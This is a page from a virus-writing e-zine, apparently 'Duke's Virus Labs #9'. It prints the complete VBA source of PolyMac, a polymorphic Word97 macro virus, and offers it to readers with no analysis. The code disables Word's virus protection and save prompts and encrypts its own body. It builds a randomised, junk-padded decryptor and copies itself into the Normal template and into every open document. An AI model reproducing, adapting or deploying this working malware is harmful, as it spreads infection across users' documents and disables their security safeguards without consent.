- [Duke's Virus Labs #9] - [Page 26] -

Macro.Word97.PolyMac
(c) by CyberShadow/SMF

===== Cut =====
Private Sub Document_Close()
 Randomize
'PolyMac/Wm97 by CyberShadow//SMF
'RealisticPolymorphicMacroCodeEngine (RPMCE) v1.2 used
'Greetings to cybershadow@mail.ru
'Check out for new versions >:-)
 CrStr = getname()
 SetAttr NormalTemplate.Path + "\" + NormalTemplate, 0
 With Application
  .EnableCancelKey = False
  .ScreenUpdating = False
  .ShowVisualBasicEditor = False
 End With
 With Options
  .ConfirmConversions = False
  .SaveNormalPrompt = False
  .VirusProtection = False
 End With
 Call compile(CryptedString, r11, r21, r23, CrStr)
 CryptedS = "Private Sub Document_Open()" + Chr$(13) + Chr$(10)
 Call insertToText(CryptedString, r11, r21, r23, CrStr, CryptedS)
 CryptedS = CryptedS + Chr$(13) + Chr$(10) + "End Sub" + Chr$(13)
 Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
 If NT.lines(1, 1) = "" Then NT.Insertlines 1, CryptedS
 If Documents.Count > 1 Then
  aff = ActiveDocument
  For Each aDoc In Documents
   If aDoc.Name <> aff Then
    Documents(aDoc.Name).Activate
    Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
    If AD.lines(1, 1) = "" Then AD.Insertlines 1, CryptedS
   End If
  Next
  If ActiveDocument.Name <> aff Then Documents(aff).Activate
 End If
 Application.ScreenUpdating = True
End Sub
Private Function getname()
 c = ""
 For i = 1 To Int(Rnd * 7) + 1
  b = Int(Rnd * 26) + 65
  If Rnd > 0.5 Then b = b + 32
  c = c + Chr$(b)
 Next
 c = c + Chr$(Asc("0") + Int(Rnd * 9))
 getname = c
End Function
Private Sub compile(CryptedString, r11, r21, r23, CrStr)
 Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
 a = AD.lines(1, AD.countoflines)
 CryptedString = CrStr + "="
 fl = 0
 r1 = Int(Rnd * 255)
 r2 = Int(Rnd * 255)
 r3 = Int(Rnd * 255)
 r11 = r1: r21 = r2: r23 = r3
 For i = 1 To Len(a)
  b = Asc(Mid$(a, i, 1))
  r1 = (r1 + r2) Mod 255
  r2 = (r1 + r3) Mod 255
  r3 = (r2 + r1) Mod 255
  b = b Xor r3
  If (b < 33) Or b = Asc("""") Or b = Asc("+") Then
    If fl = 1 Then CryptedString = CryptedString + """"
    CryptedString = CryptedString + "+chr$(" + Str$(b) + ") ": fl = 0
   Else
    If fl = 0 Then
     If Mid$(CryptedString, Len(CryptedString) - 1, 1) = ")" Then CryptedString = CryptedString + "+"
     CryptedString = CryptedString + """"
    End If
    CryptedString = CryptedString + Chr$(b): fl = 1
  End If
 Next
 If Mid$(CryptedString, Len(CryptedString) - 1, 1) <> " " And Mid$(CryptedString, Len(CryptedString) - 1, 1) <> ")" Then CryptedString = CryptedString + """"
End Sub
Private Sub insertToText(CryptedString, r11, r21, r23, CrStr, CryptedS)
 Call CorrectLine(CryptedString, CrStr, CryptedS)
 Call InsertDecryptor(r11, r21, r23, CrStr, CryptedS)
End Sub
Private Sub insline(c, CryptedS, count_)
 fc = "": Call polym(fc, count_)
 CryptedS = CryptedS + fc + Chr$(13) + Chr$(10) + c + Chr$(13) + Chr$(10)
End Sub
Private Sub CorrectLine(CryptedString, CrStr, CryptedS)
 maxlen = Int(Rnd * 100) + 100
 c = "": l = 0: f2 = -1
 For i = 1 To Len(CryptedString)
  b = Mid$(CryptedString, i, 1)
  If b = """" Then f2 = -f2
  If l > maxlen And f2 = 1 Then
   c = c + """"
   Call insline(c, CryptedS, 4)
   maxlen = Int(Rnd * 100) + 100
   c = CrStr + "=" + CrStr + "+""": l = Len(c)
  End If
  If b = "+" And l >= maxlen Then
   Call insline(c, CryptedS, 4)
   maxlen = Int(Rnd * 100) + 100
   c = CrStr + "=" + CrStr: l = Len(c)
  End If
  c = c + b: l = l + 1
 Next
 Call insline(c, CryptedS, 4)
End Sub
Private Sub InsertDecryptor(r11, r21, r23, CrStr, CryptedS)
 Dim a(8)
 For i = 1 To 8
  Do
   a1 = 0
   a(i) = getname()
   For J = 1 To i - 1
    If a(i) = a(J) Then a1 = 1
   Next
  Loop While a1 = 1
 Next
 s = StartString
 c = a(1) + "=" + Str$(r11) + refn()
 Call polym(c, 1)
 c = c + a(2) + "=" + Str$(r21) + refn()
 Call polym(c, 1)
 c = c + a(3) + "=" + Str$(r23) + refn()
 Call polym(c, 1)
 c = c + a(4) + "=""""" + refn()
 Call polym(c, 1)
 c1 = "mid$(" + CrStr + "," + a(5) + ",1)"
 c2 = a(1) + "=(" + a(1) + "+" + a(2) + ") mod 255" + refn()
 Call polym(c2, 1)
 c2 = c2 + a(2) + "=(" + a(1) + "+" + a(3) + ") mod 255" + refn()
 Call polym(c2, 1)
 c2 = c2 + a(3) + "=(" + a(2) + "+" + a(1) + ") mod 255" + refn()
 Call polym(c2, 1)
 Select Case Int(Rnd * 2)
  Case Is = 0: c2 = c2 + a(6) + "=asc(" + c1 + ")" + refn + a(6) + "=" + a(6) + " xor " + a(3) + refn() + a(4) + "=" + a(4) + "+chr$(" + a(6) + ")" + refn()
  Case Else: c2 = c2 + a(6) + "=asc(" + c1 + ")" + " xor " + a(3) + refn() + a(4) + "=" + a(4) + "+chr$(" + a(6) + ")" + refn()
 End Select
 Call polym(c2, 1)
 Select Case Int(Rnd * 6)
  Case 0
   c = c + a(5) + "=1" + refn()
   Call polym(c, 1)
   c = c + ref("do while ") + a(5) + "<=len(" + CrStr + ")" + refn()
   Call polym(c, 1)
   c = c + c2
   Call polym(c, 1)
   c = c + a(5) + "=" + a(5) + "+1" + refn()
   Call polym(c, 1)
   c = c + ref("loop") + refn()
   Call polym(c, 1)
  Case 1
   c = c + a(5) + "=1" + refn()
   Call polym(c, 1)
   c = c + ref("do until ") + a(5) + ">len(" + CrStr + ")" + refn()
   Call polym(c, 1)
   c = c + c2
   Call polym(c, 1)
   c = c + a(5) + "=" + a(5) + "+1" + refn()
   Call polym(c, 1)
   c = c + ref("loop") + refn()
   Call polym(c, 1)
  Case 2
   c = c + a(5) + "=1" + refn()
   Call polym(c, 1)
   c = c + ref("do") + refn() + c2
   c = c + a(5) + "=" + a(5) + "+1" + refn()
   Call polym(c, 1)
   c = c + ref("loop while ") + a(5) + "<=len(" + CrStr + ")" + refn()
   Call polym(c, 1)
  Case 3
   c = c + a(5) + "=1" + refn()
   Call polym(c, 1)
   c = c + ref("do") + refn() + c2
   c = c + a(5) + "=" + a(5) + "+1" + refn() + ref("loop until ") + a(5) + ">len(" + CrStr + ")" + refn()
   Call polym(c, 1)
  Case Else
   c = c + ref("for ") + a(5) + ref("=1 to len(") + CrStr + ")" + refn() + c2
   c = c + ref("next") + refn()
   Call polym(c, 1)
 End Select
 adMY = getname()
 Go2 = getname() + getname()
 c = c + Chr$(13) + Chr$(10)
 c = c + ref("if Options.ConfirmConversions = true then goto ") + Go2
 c = c + Chr$(13) + Chr$(10)
 Call polym(c, 1)
 c = c + "Options.ConfirmConversions = True" + refn()
 Call polym(c, 1)
 c = c + ref("documents.add") + refn()
 Call polym(c, 1)
 c = c + ref("set ") + adMY + ref(" = activedocument.vbproject.vbcomponents(1).codemodule") + refn()
 Call polym(c, 1)
 c = c + a(8) + ref("=normaltemplate.path+""\") + a(7) + ref(".doc""") + refn()
 Call polym(c, 1)
 c = c + adMY + ref(".insertlines 1, ") + a(4) + refn()
 Call polym(c, 1)
 c = c + ref("activedocument.saveas filename:=") + a(8) + ref(", fileformat:=wdformatdocument") + refn()
 Call polym(c, 1)
 c = c + ref("activedocument.close") + refn()
 Call polym(c, 1)
 c = c + ref("options.virusprotection=false") + refn()
 Call polym(c, 1)
 c = c + ref("documents.open ") + a(8) + refn()
 Call polym(c, 1)
 c = c + ref("activedocument.save") + refn()
 Call polym(c, 1)
 c = c + ref("activedocument.close") + refn()
 Call polym(c, 1)
 c = c + "kill " + a(8) + refn()
 Call polym(c, 1)
 c = c + Chr$(13) + Chr$(10): c = c + Go2 + ":": c = c + Chr$(13) + Chr$(10)
 c = c + "Options.ConfirmConversions = False" + refn()
 Call polym(c, 1)
 Call insline(c, CryptedS, 1)
End Sub
Private Function refn()
 If Rnd > 0.5 Then refn = Chr$(13) + Chr$(10) Else refn = ":"
End Function
Private Function ref(fff)
fff1 = ""
For i = 1 To Len(fff)
 b = Asc(Mid$(fff, i, 1))
 If Rnd > 0.5 And b >= 97 And b <= 122 Then b = b - 32
 fff1 = fff1 + Chr$(b)
Next
ref = fff1
End Function
Private Sub polym(fc, m)
 t = Int(Rnd * 7)
 maxm = 5
 Select Case t
  Case 0
   s = getname() + getname()
   fc = fc + s + "=" + Str$(Int(Rnd * 10)) + refn()
   m = m + 1: If m < maxm Then Call polym(fc, m)
   fc = fc + ref("do while ") + s + "<" + Str$(Int(Rnd * 50) + 11) + refn()
   m = m + 1: If m < maxm Then Call polym(fc, m)
   fc = fc + s + "=" + s + "+" + Str$(Int(Rnd * 10) + 1) + refn()
   m = m + 1: If m < maxm Then Call polym(fc, m)
   fc = fc + ref("loop") + refn()
  Case 1
   s = getname() + getname()
   fc = fc + s + "=" + Str$(Int(Rnd * 10)) + refn()
   m = m + 1: If m < maxm Then Call polym(fc, m)
   fc = fc + ref("do until ") + s + ">" + Str$(Int(Rnd * 50) + 11) + refn()
   m = m + 1: If m < maxm Then Call polym(fc, m)
   fc = fc + s + "=" + s + "+" + Str$(Int(Rnd * 10) + 1) + refn()
   m = m + 1: If m < maxm Then Call polym(fc, m)
   fc = fc + ref("loop") + refn()
  Case 2
   s = getname() + getname()
   fc = fc + s + "=" + Str$(Int(Rnd * 10)) + refn()
   m = m + 1: If m < maxm Then Call polym(fc, m)
   fc = fc + ref("do ") + refn()
   m = m + 1: If m < maxm Then Call polym(fc, m)
   fc = fc + s + "=" + s + "+" + Str$(Int(Rnd * 10) + 1) + refn()
   m = m + 1: If m < maxm Then Call polym(fc, m)
   fc = fc + ref("loop until ") + s + ">" + Str$(Int(Rnd * 50) + 41) + refn()
  Case 3
   s = getname() + getname()
   fc = fc + s + "=" + Str$(Int(Rnd * 10)) + refn()
   m = m + 1: If m < maxm Then Call polym(fc, m)
   fc = fc + ref("do ") + refn()
   m = m + 1: If m < maxm Then Call polym(fc, m)
   fc = fc + s + "=" + s + "+" + Str$(Int(Rnd * 10) + 1) + refn()
   m = m + 1: If m < maxm Then Call polym(fc, m)
   fc = fc + ref("loop while ") + s + "<" + Str$(Int(Rnd * 50) + 11) + refn()
  Case 4
   fc = fc + ref("for ") + getname() + getname() + "=" + Str$(Int(Rnd * 10)) + ref(" to ") + Str$(Int(Rnd * 50) + 11) + ref(" step ") + Str$(Int(Rnd * 10) + 1) + refn()
   m = m + 1: If m < maxm Then Call polym(fc, m)
   fc = fc + "next" + refn()
  Case 5
   tfc = 2
   fc = fc + getname() + getname() + "="
   If Rnd > 0.5 Then fc = fc + getname(): tfc = 0 Else fc = fc + Str$(Int(Rnd * 200))
   If Rnd > 0.5 And tfc = 0 Then fc = fc + "+": tfc = 1
   If Rnd > 0.5 And tfc = 0 Then fc = fc + "-": tfc = 1
   If Rnd > 0.5 And tfc = 0 Then fc = fc + "*": tfc = 1
   If tfc = 1 Then
    If Rnd > 0.5 Then fc = fc + getname() Else fc = fc + Str$(Int(Rnd * 100) + 1)
   End If
   fc = fc + refn()
   m = m + 1: If m < maxm Then Call polym(fc, m)
  Case 6
   fc = fc + Chr$(13) + Chr$(10) + ref("if ") + getname()
   If Rnd > 0.5 Then
     tfc = "<"
    ElseIf Rnd > 0.5 Then
     tfc = ">"
    ElseIf Rnd > 0.5 Then
     tfc = "="
    Else
     tfc = ""
   End If
   Do
    If Rnd > 0.5 Then
      tfc1 = "<"
     ElseIf Rnd > 0.5 Then
      tfc1 = ">"
     ElseIf Rnd > 0.5 Then
      tfc1 = "="
     Else
      tfc1 = ""
    End If
   Loop While tfc = tfc1
   fc = fc + tfc + tfc1
   If Rnd > 0.5 Then
     fc = fc + getname()
    ElseIf Rnd > 0.5 Then
     fc = fc + Str$(Int(Rnd * 100) + 1)
    Else
     fc = fc + "rnd*" + Str$(Int(Rnd * 100) + 1)
   End If
   fc = fc + ref(" then ") + Chr$(13) + Chr$(10)
   m = m + 1: If m < maxm Then Call polym(fc, m)
   fc = fc + Chr$(13) + Chr$(10) + ref("end if") + refn()
  Case Else
 End Select
End Sub
===== Cut =====
